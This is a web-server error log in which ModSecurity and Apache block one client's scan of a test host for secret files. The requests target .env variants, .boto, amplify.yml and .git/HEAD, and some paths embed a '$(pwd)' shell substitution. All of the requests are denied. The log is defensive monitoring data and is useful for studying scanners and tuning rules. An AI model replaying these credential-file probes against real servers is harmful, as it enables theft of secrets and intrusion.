[Fri Mar 13 10:38:47.181238 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase ".boto" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: .boto found within REQUEST_FILENAME: /~/.boto"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.boto"] [unique_id "abPbJ9w5WhVPlcU-Rd0sbAAAAAY"]
[Fri Mar 13 10:38:47.181436 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.boto"] [unique_id "abPbJ9w5WhVPlcU-Rd0sbAAAAAY"]
[Fri Mar 13 10:38:47.181551 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/~/.boto"] [unique_id "abPbJ9w5WhVPlcU-Rd0sbAAAAAY"]
[Fri Mar 13 10:38:47.294555 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:47.316502 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:47.338349 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/amplify.yml
[Fri Mar 13 10:38:47.360269 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/amplify.yaml
[Fri Mar 13 10:38:47.383200 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/task
[Fri Mar 13 10:38:47.405896 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sdgAAAAY"]
[Fri Mar 13 10:38:47.406095 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sdgAAAAY"]
[Fri Mar 13 10:38:47.406210 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sdgAAAAY"]
[Fri Mar 13 10:38:47.428382 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.local"] [unique_id "abPbJ9w5WhVPlcU-Rd0sdwAAAAY"]
[Fri Mar 13 10:38:47.428576 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.local"] [unique_id "abPbJ9w5WhVPlcU-Rd0sdwAAAAY"]
[Fri Mar 13 10:38:47.428698 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.local"] [unique_id "abPbJ9w5WhVPlcU-Rd0sdwAAAAY"]
[Fri Mar 13 10:38:47.450763 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.production"] [unique_id "abPbJ9w5WhVPlcU-Rd0seAAAAAY"]
[Fri Mar 13 10:38:47.450958 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.production"] [unique_id "abPbJ9w5WhVPlcU-Rd0seAAAAAY"]
[Fri Mar 13 10:38:47.451073 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.production"] [unique_id "abPbJ9w5WhVPlcU-Rd0seAAAAAY"]
[Fri Mar 13 10:38:47.473109 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.development"] [unique_id "abPbJ9w5WhVPlcU-Rd0seQAAAAY"]
[Fri Mar 13 10:38:47.473325 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.development"] [unique_id "abPbJ9w5WhVPlcU-Rd0seQAAAAY"]
[Fri Mar 13 10:38:47.473469 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.development"] [unique_id "abPbJ9w5WhVPlcU-Rd0seQAAAAY"]
[Fri Mar 13 10:38:47.495573 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /$(pwd)/.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.staging"] [unique_id "abPbJ9w5WhVPlcU-Rd0segAAAAY"]
[Fri Mar 13 10:38:47.495773 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.staging"] [unique_id "abPbJ9w5WhVPlcU-Rd0segAAAAY"]
[Fri Mar 13 10:38:47.495911 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/$(pwd)/.env.staging"] [unique_id "abPbJ9w5WhVPlcU-Rd0segAAAAY"]
[Fri Mar 13 10:38:47.517678 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env
[Fri Mar 13 10:38:47.539651 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.local
[Fri Mar 13 10:38:47.561591 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.env.production
[Fri Mar 13 10:38:47.583644 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Fri Mar 13 10:38:47.605620 2026] [authz_core:error] [pid 2664180] [client 185.177.72.49:14596] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/var/www
[Fri Mar 13 10:38:47.628059 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /opt/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sgAAAAAY"]
[Fri Mar 13 10:38:47.628268 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sgAAAAAY"]
[Fri Mar 13 10:38:47.628391 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/opt/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sgAAAAAY"]
[Fri Mar 13 10:38:47.650946 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /srv/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sgQAAAAY"]
[Fri Mar 13 10:38:47.651148 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sgQAAAAY"]
[Fri Mar 13 10:38:47.651275 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/srv/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sgQAAAAY"]
[Fri Mar 13 10:38:47.673457 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abPbJ9w5WhVPlcU-Rd0sggAAAAY"]
[Fri Mar 13 10:38:47.673646 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abPbJ9w5WhVPlcU-Rd0sggAAAAY"]
[Fri Mar 13 10:38:47.673758 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.example"] [unique_id "abPbJ9w5WhVPlcU-Rd0sggAAAAY"]
[Fri Mar 13 10:38:47.695708 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sgwAAAAY"]
[Fri Mar 13 10:38:47.695992 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sgwAAAAY"]
[Fri Mar 13 10:38:47.696113 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0sgwAAAAY"]
[Fri Mar 13 10:38:47.718106 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0shAAAAAY"]
[Fri Mar 13 10:38:47.718278 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0shAAAAAY"]
[Fri Mar 13 10:38:47.718409 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/laravel/.env"] [unique_id "abPbJ9w5WhVPlcU-Rd0shAAAAAY"]
[Fri Mar 13 10:38:47.786299 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abPbJ9w5WhVPlcU-Rd0shwAAAAY"]
[Fri Mar 13 10:38:47.786496 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abPbJ9w5WhVPlcU-Rd0shwAAAAY"]
[Fri Mar 13 10:38:47.786609 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/"] [unique_id "abPbJ9w5WhVPlcU-Rd0shwAAAAY"]
[Fri Mar 13 10:38:47.808756 2026] [:error] [pid 2664180] [client 185.177.72.49:14596] [client 185.177.72.49] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.git/HEAD"] [unique_id "abPbJ9w5WhVPlcU-Rd0siAAAAAY"]
